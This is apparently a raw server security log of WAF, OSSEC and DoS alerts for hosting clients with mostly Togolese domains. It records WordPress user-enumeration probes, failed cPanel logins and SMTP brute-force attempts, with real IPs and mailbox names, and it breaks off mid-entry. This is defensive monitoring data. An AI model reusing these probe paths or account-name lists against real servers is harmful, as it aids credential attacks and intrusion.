IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.22||T:APACHE||User:ecukpqcm||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.168.149.238
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [01/Jul/2026:11:42:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134184&pdata=https%253A%252F%252Ftogointerim.net%252Fespacecandidats&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782906128 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/espacecandidats" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.115
country_id: 1880251
description:
43.173.179.115 - - [01/Jul/2026:11:43:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135766&pdata=https%253A%252F%252Fsoena.tg%252Fproduit%252Fracing%252F%253Fadd_to_wishlist%253D8675%2526_wpnonce%253D4bd938482b&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782906191 HTTP/1.1" 404 561 soena.tg "https://soena.tg/produit/racing/?add_to_wishlist=8675&_wpnonce=4bd938482b" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.222.234.249
country_id: 226074
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/07/images-1-300x169.webp HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.239.90.129
country_id: 2750405
description:
43.239.90.129 - - [01/Jul/2026:11:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12751208&pdata=https%253A%252F%252Ftogomedia24.tg%252Fcategory%252Fsante%252Fpage%252F17%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782906471 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/category/sante/page/17/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2060.1417 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.239.90.129


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 41.207.181.198
country_id: 2363686
domain: ave2.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.137.232
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/village-djama-evala-2023 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 74.63.24.206
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 74.63.24.206: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-07-01 11:51:28 +0000] info [cpaneld] 44.220.137.203 -  einguval  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.12.71.226
country_id: 6252001
description:
[2026-07-01 11:56:26 +0000] info [cpaneld] 3.12.71.226 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 11:56:27 +0000] info [cpaneld] 44.220.137.203 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.47
country_id: 1814991
description:
123.6.49.47 - - [01/Jul/2026:11:59:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921067&pdata=https%253A%252F%252Ftogointerim.net%252Flang%252Fen&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782907143 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/lang/en" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.47


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 12:00:53 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44844: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-07-01 12:02:30 +0000] info [cpaneld] 44.220.137.203 -  einguval  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.13.113.92
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/37.jpeg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:03:22 +0000] info [cpaneld] 44.220.137.203 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:04:54 +0000] info [cpaneld] 44.220.137.203 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:06:38 +0000] info [cpaneld] 44.220.137.203 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:07:09 +0000] info [cpaneld] 44.220.137.203 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:07:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:20600: 535 Incorrect authentication data (set_id=879@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:07:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10944: 535 Incorrect authentication data (set_id=foundation@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:08:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39396: 535 Incorrect authentication data (set_id=trophy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:08:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:51692: 535 Incorrect authentication data (set_id=respaldos@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:09:50 +0000] info [cpaneld] 44.220.137.203 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:09:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:61474: 535 Incorrect authentication data (set_id=bom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:09:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52920: 535 Incorrect authentication data (set_id=gifts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:10:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14816: 535 Incorrect authentication data (set_id=gifts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:10:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:45364: 535 Incorrect authentication data (set_id=info3@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:10:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:14164: 535 Incorrect authentication data (set_id=info3@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.220.137.203
country_id: 6252001
description:
[2026-07-01 12:10:56 +0000] info [cpaneld] 44.220.137.203 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:11:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5912: 535 Incorrect authentication data (set_id=altus@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:11:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:21764: 535 Incorrect authentication data (set_id=fo@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.119.35.17
country_id: 1282988
description:
111.119.35.17 - - [01/Jul/2026:12:11:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727082&pdata=https%253A%252F%252Fwww.snb.tg%252Ffr%252Fold%252Fevent%252Freunion-trimestrielle-societe-nouvelle-de-boissons-et-task-forces&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782907911 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/fr/old/event/reunion-trimestrielle-societe-nouvelle-de-boissons-et-task-forces" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.6968.1692 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.119.35.17


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:12:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31424: 535 Incorrect authentication data (set_id=tammy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-07-01 12:12:03 dovecot_login authenticator failed for H=(SCRPMKD) [196.170.122.162]:56764: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.51.35.60
country_id: 3658394
description:
38.51.35.60 - - [01/Jul/2026:12:12:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989011&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-338680sitems%252Fetidm66en.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782907930 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-338680sitems/etidm66en.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.51.35.60


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.77.223.23
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:12:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46920: 535 Incorrect authentication data (set_id=referral@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:13:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:49972: 535 Incorrect authentication data (set_id=wordpress@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:13:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:15156: 535 Incorrect authentication data (set_id=rabota@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:14:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:39854: 535 Incorrect authentication data (set_id=montage@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:14:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25014: 535 Incorrect authentication data (set_id=montage@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:14:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26532: 535 Incorrect authentication data (set_id=stella@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 12:14:26 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49284: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:15:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:17792: 535 Incorrect authentication data (set_id=karen@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:15:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16160: 535 Incorrect authentication data (set_id=dimdim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:16:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42316: 535 Incorrect authentication data (set_id=test6@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:16:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:58922: 535 Incorrect authentication data (set_id=mapping@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:17:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39742: 535 Incorrect authentication data (set_id=alissa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:17:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9776: 535 Incorrect authentication data (set_id=pierre@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:17:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2294: 535 Incorrect authentication data (set_id=pierre@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:18:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:38576: 535 Incorrect authentication data (set_id=data2@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.5.235
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=476 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.135.89
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=757 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:18:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50688: 535 Incorrect authentication data (set_id=pon@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.248.250.19
country_id: 798544
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2021 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.170.72
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=409 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.245.250
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2292 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.96.59
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=474 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:19:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:27290: 535 Incorrect authentication data (set_id=columbia@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.40.245
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.40.245: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:19:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34078: 535 Incorrect authentication data (set_id=jincheng@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.29.30
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=724 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.252.48.106
country_id: 2215636
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=129 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.152.196.211
country_id: 289688
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/remise-de-don-au-canton-dadetikope HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:20:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60972: 535 Incorrect authentication data (set_id=abe@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.192.109
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1715 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.239.140.1
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&tag=aiec HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.37.189.251
country_id: 286963
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=406 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.76
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2091 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:20:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6516: 535 Incorrect authentication data (set_id=behrmann@ns5.netmaster.tg)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.110.121.112
country_id: 130758
domain: togomedia24.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 143.255.14.50
country_id: 3469034
description:
143.255.14.50 - - [01/Jul/2026:12:20:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923183&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-142240iitems%252Fetidm26ue.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782908409 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-142240iitems/etidm26ue.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:143.255.14.50


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:21:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9574: 535 Incorrect authentication data (set_id=escaner@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:21:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:21262: 535 Incorrect authentication data (set_id=sabrina@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:21:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51846: 535 Incorrect authentication data (set_id=escaner@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:22:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5022: 535 Incorrect authentication data (set_id=nwo4life@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:22:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:62028: 535 Incorrect authentication data (set_id=grafico@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:23:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23362: 535 Incorrect authentication data (set_id=design3@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:23:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41972: 535 Incorrect authentication data (set_id=wartung@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.254.252
country_id: 1880251
domain: ciieeinternational.org
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:34.143.254.252||TA:34.143.254.252||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:24:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40284: 535 Incorrect authentication data (set_id=testxxx@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:24:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:55118: 535 Incorrect authentication data (set_id=testxxx@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:24:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18554: 535 Incorrect authentication data (set_id=beasiswa@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.58.56.200
country_id: 2750405
description:
[2026-07-01 12:25:22 +0000] info [cpaneld] 2.58.56.200 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:25:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31502: 535 Incorrect authentication data (set_id=blaine@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:25:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63816: 535 Incorrect authentication data (set_id=technology@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:26:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8042: 535 Incorrect authentication data (set_id=obits@ns5.netmaster.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-07-01 12:26:26 +0000] info [webmaild] 196.168.0.186 - a.ajavon@wages.tg "POST /cpsess7177686892/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:26:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:62768: 535 Incorrect authentication data (set_id=gib@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:27:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34390: 535 Incorrect authentication data (set_id=htp@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.49.173
country_id: 6252001
domain: webmail.ekeasarl.com
description:
